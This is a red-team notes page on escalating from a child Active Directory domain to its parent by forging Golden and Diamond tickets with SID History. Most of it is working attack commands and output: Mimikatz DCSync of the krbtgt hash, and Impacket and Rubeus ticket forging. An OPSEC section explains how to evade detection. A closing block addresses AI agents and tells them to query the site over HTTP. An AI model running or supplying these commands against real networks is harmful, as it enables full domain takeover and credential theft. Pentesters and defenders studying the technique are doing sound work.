# Parent-Child Trust Abuse Whenever a child domain (`child.domain.com`) is added to a forest, the event automatically creates a transitive and bidirectional trust with the parent domain (`domain.com`). ``` PS C:\users\otter\desktop> Get-ADTrust -Filter * Direction : BiDirectional DisallowTransivity : False DistinguishedName : CN=domain.com,CN=System,DC=child,DC=domain,DC=com ForestTransitive : False IntraForest : True IsTreeParent : False IsTreeRoot : False Name : domain.com ObjectClass : trustedDomain ObjectGUID : c8005918-3c50-4c33-bcaa-90c76f46561c SelectiveAuthentication : False SIDFilteringForestAware : False SIDFilteringQuarantined : False Source : DC=child,DC=domain,DC=com Target : domain.com TGTDelegation : False TrustAttributes : 32 TrustedPolicy : TrustingPolicy : TrustType : Uplevel UplevelOnly : False UsesAESKeys : False UsesRC4Encryption : False ``` Other commands we can use to check the available trusts are 1. `Get-DomainTrust` 2. `nltest /domain_trusts` 3. `([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()` In the output * `Source` is the child domain, in this case `child.domain.com` * `Target` is the parent domain, `domain.com` and as we can see the trust is `BiDirectional` and the `IntraForest` field is set to `True` so we can safely say this is a Child/Parent trust. The gist of the trust abuse is the following: if we have Domain Admin privileges in the child domain, we can easily get Domain Admin on the parent domain as well. This technique abuses a TGT attribute called [SID History](/red-teaming/notes/forest-trust-abuse/sid-history.md) which is a legitimate attribute that was designed to handle the transition of a user from a domain to another: to make sure the moved user maintained access to the previous domain even after being moved to the second one, the user's old SID would be added to the SID History attribute of their account. More on SID History [here](https://www.thehacker.recipes/a-d/movement/trusts#sid-history). In the context of forest trust abuse we can create a ticket. There are two main ways to (ab)use this kind of trust: 1. Golden Ticket 2. Diamond Ticket #### Golden Ticket Method First of all we need the SID for the Domain Admins group of both domains, this information can be obtained in a number of ways: * Powershell {% code overflow="wrap" %} ``` PS C:\users\otter\desktop> Get-DomainGroup -Identity "Domain Admins" -Domain domain.com -Properties ObjectSid ``` {% endcode %} * Mimikatz ``` mimikatz # privilege::debug Privilege '20' OK mimikatz # lsadump::trust /patch Current domain: CHILD.DOMAIN.COM (LAB / S-1-5-21-2241985869-2159962460-1278545866) Domain: DOMAIN.COM (TRUSTED / S-1-5-21-3576695518-347000760-3731839591) [ In ] CHILD.DOMAIN.COM -> DOMAIN.COM ... ``` * Impacket {% code overflow="wrap" %} ``` ~ ∮ lookupsid.py child.domain.com/administrator@child.domain.com -hashes ':fe23a3b3cf1ebb0d2c0aaf1f849db444' ... [*] Brute forcing SIDs at child.domain.com [*] StringBinding ncacn_np:child.domain.com[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-313048783-3898072970-1408672677 500: CHILD\Administrator (SidTypeUser) ... ``` {% endcode %} * Bloodhound (`DOMAIN-SID` attribute of a `DOMAIN` node) Now we need the NTLM or AES256 hash of the `krbtgt` user for the child domain, we can get this with `secretsdump`, `donpapi`, `nxc` or `mimikatz` ``` mimikatz # lsadump::dcsync /domain:child.domain.com /all ... ** SAM ACCOUNT ** SAM Username : krbtgt User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Object Security ID : S-1-5-21-2241985869-2159962460-1278545866-502 Object Relative ID : 502 Credentials: Hash NTLM: c7a03c565c68c6fac5f8913fab576ebd ... ``` With this information we are ready to request a Golden Ticket * Rubeus {% code overflow="wrap" %} ``` PS C:\users\otter\desktop> Rubeus.exe golden /aes256: /user:Administrator /domain:child.domain.com /sid: /sids:-512 /nowrap ``` {% endcode %} * Mimikatz {% code overflow="wrap" %} ``` mimikatz # kerberos::golden /user:Administrator /krbtgt: /domain:child.domain.com /sid: /sids:-519 /ptt ``` {% endcode %} * Impacket following [this](https://0xdeaddood.rocks/2023/05/11/forging-tickets-in-2023/) guide {% code overflow="wrap" %} ``` ~ ∮ ticketer.py -domain child.domain.com -domain-sid -nthash -user-id 500 -extra-sid -519 -extra-pac -duration 1 Administrator ``` {% endcode %} Impacket also has the `raiseChild.py` script which automates the golden ticket process (from [aleid.com](https://www.aldeid.com/wiki/Impacket)) > This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids. {% code overflow="wrap" %} ``` ~ ∮ raiseChild.py -target-exec dev.domain.com/Administrator -hashes ':' ``` {% endcode %} {% hint style="warning" %} This script automates the escalation process but it CAN fail from time to time. {% endhint %} #### Diamond Ticket The requirements for the Diamond Ticket method are the similar as the golden ticket one: both domain SIDs and the AES256 hash of the `krbtgt` account. * Rubeus {% code overflow="wrap" %} ``` PS C:\users\otter\desktop> Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:-519 /krbkey: /nowrap ``` {% endcode %} * Impacket {% code overflow="wrap" %} ``` ~ ∮ ticketer.py -request -domain child.domain.com -user 'Administrator' -nthash 'krbtgt/' -aesKey 'krbtgt/' -domain-sid ' -extra-sid -user-id '500' -groups '512,513,518,519,520' 'Administrator' ``` {% endcode %} {% hint style="danger" %} **OPSEC** From a OPSEC standpoint, Golden tickets can be easily detected both by monitoring for DCSync attacks (which are required to get the RC4 hash for the `krbtgt` user) and TGS requests that have no matching TGT request. Diamond tickets are more likely to go undetected as we can request a valid TGT before using the resulting TGS; moreover, since diamond tickets are created directly on the DC, some details of the ticket are more likely to be correct by default (one example is ticket creation time). {% endhint %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://otter.gitbook.io/red-teaming/notes/forest-trust-abuse/parent-child-trust-abuse.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.